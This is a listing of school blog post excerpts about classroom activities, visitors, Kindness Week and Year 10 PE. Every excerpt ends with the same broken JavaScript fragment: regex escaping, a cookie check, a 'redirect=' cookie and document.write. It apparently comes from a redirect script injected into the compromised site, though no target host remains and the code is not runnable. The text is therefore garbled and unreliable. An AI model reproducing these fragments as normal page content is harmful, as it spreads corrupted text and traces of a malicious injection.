• Primary 1,  Uncategorized

    Special reward

    Well done Lukas. Lukas earned a special reward for over a weeks worth of excellent behaviour! Lukas chose to, as a group, watch a bit of Secret Lives of Pets whilst eating popcorn! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Springwell Forest Primary

    Snow scenes

    We have been making snowy mountain box scenes to use to plan yeti stories. They look great. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Springwell Forest Primary

    Visit from Andy Taylor

    Andy has climbed Mount Everest and he came to primary to talk to us about it. It was very interesting, a bit disgusting and must have been frightening. We have written about the things we learned. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 9

    Year Nine Elements 

    Year Nine pupils worked with Claire from Open Minds theatre company to hotseat some characters from Kes to build up a prosecution case for the upcoming trial of Mr Sugden.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary,  Uncategorized

    Mount Everest Conquered!

    It was fantastic to have mountaineer Andy Taylor in Primary today talking to us about his Everest expedition. So inspiring! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Learning about Mount Everest

    Primary 2 and Springwell @ Forest had a special visitor this morning. Andy climbed Mount Everest recently and shared some photographs and stories of his expedition. He even brought some equipment that he used to show us. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Year 9 Open Minds

    Year 9 pupils experienced what life was like in a 1960s classroom to try to imagine what Billy Casper (the main character from Kes) had to endure.  One pupil was put out in the cold, one was ridiculed and made to stand in the corner and one was even caned!   (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 9

    Year Nine Crucial Crew

    Year nine pupils went to Crucial Crew at the Lifewise centre run by South Yorkshire Police. Pupils learnt about gun and knife crime, road safety, fire safety and first aid.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Springwell Forest Primary

    Money

    We used money and set up a mini-shop. We have to give our teacher exactly the right money as her till was broken! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Springwell Forest Primary

    Blob people

    We used the blob poeple to discuss bullying, what it is and how it can make people feel. We drew red on the bad actions and green on the victims. Some images we needed to talk more about io decide. We then wrote down some types of bullying and some ways to be a good friend. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Proud Cloud

    Here are our proud clouds! Whenever we do something we are Proud of or see someone else do something that makes up proud we write it on a cloud and stick it on the display! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Kirk Balk Christmas Meal

    Students at Kirk Balk AA have been busy creating posters for their Christmas meal. Student have decided to invite their parents along to join in the fun. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary 3,  Uncategorized

    Kindness Week

    One of Class 3’s activities during Kindness Week was for each pupil to produce a pledge to be kind in some way.  Some, pledged to be kind to the whole class, some chose to be kind at home and some chose a friend to show a special kindness to.  We also placed several leaves on the school’s Kindness Tree and Bailey and Olivia were chosen as our class Kindness Champions. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary 3,  Uncategorized

    Our Second Visit to Narnia

    We became detectives on our second visit to Narnia.  After meeting Mr Tumnus last week we decided to visit him again.  This time however we found his cave had been ransacked and he had been arrested by the White Witch – the so called Queen of Narnia.  We found lots of clues which we recorded ready to write up in our Investigation Reports. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 8

    Y8 kindness trees

    Y8 drew and painted kindness trees earlier in the week and completed them today by writing acts of kindness they have seen over the week.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    IT’S CHRISTMAAAAAAAAAS! well nearly…

    Kirk Balk AA have started their hospitality coursework which is to plan and prepare a Christmas dinner for pupils, staff and special guests. Have a look at our work so far. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 9

    Year Nine Kindness Week

    In year nine as part of kindness week pupils watched a clip of a kindness chain reaction, they looked at pictures of acts of kindness, they discussed what kindness is and when they have received and seen kindness and they have also made a kindness pledge. Pupils are also nominating each other for showing acts of kindness to each other. Great work year nine!  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 9

    Year Nine Open Minds

    Year Nine did some forum theatre with Claire from Open Minds Theatre company with staff and some pupils acting out some scenes from Kes.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Y8 extended writing

    Today, pupils in Y8 worked in pairs to write an answer to a GCSE style question; making points and explaining these using evidence to support their opinions. Amy and Ross co-wrote this great first attempt on an iPad.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Rally coach

    This morning, Y8 completed some algebra challenges together using rally coach, which helped them deepen their understanding.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 8

    Kindness games 

    Y8 enjoyed playing games together to kick off kindness week.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 9

    Year 9 Kindness Week

    As part of kindness week year 9 pupils worked with Jas Singh and learnt some sword fighting. Pupils showed kindness to Jas as a visitor to our school and we talked about how everyone deserves kindness regardless of race, religion, age, gender and cultural background etc.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Kirk Balk – SEAL

    In SEAL our focus this half term is Self Awareness. We have been looking at the word IDENTITY and what it means – have a look at our All About Me initials. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    The Elephant Man

    In English we have been reading 19th Century literature and looking at the Elephant Man. We had a go at creating him in play-doh. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Year 10 P.E

    Today, year 10 have tested their fitness levels in the gym by using a wide range of equipment. A great effort by all.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Year 10 D.T

    Before year 10 take part in practical D.T  they are required to complete design and written work as part of their GCSE’s. The below pictures show year 10 working hard to design their lamp bases.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Year 10 reading time

    Reading time in year 10 is one of the most enjoyable parts of the day. Each pupil has a book of interest and the atmosphere is calm and relaxing. Well done year 10.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Happy birthday Cameron

    Year 10 would like to wish Cameron a very happy 15th birthday! Cameron also fetched in a home made Toblerone cheesecake for his classmates, which was arguably the best cheesecake in the world.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Year 10 fun in the snow

    It was great to see the year 10 boys playing together and having fun during their outdoor breaks yesterday. They are hoping for another snow day soon.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

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    Year 10 bleep test

    The year 10 boys took part in the bleep test to assess their fitness levels. All the pupils took part with some pupils even having a second attempt to try and beat their first score. Good effort boys.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}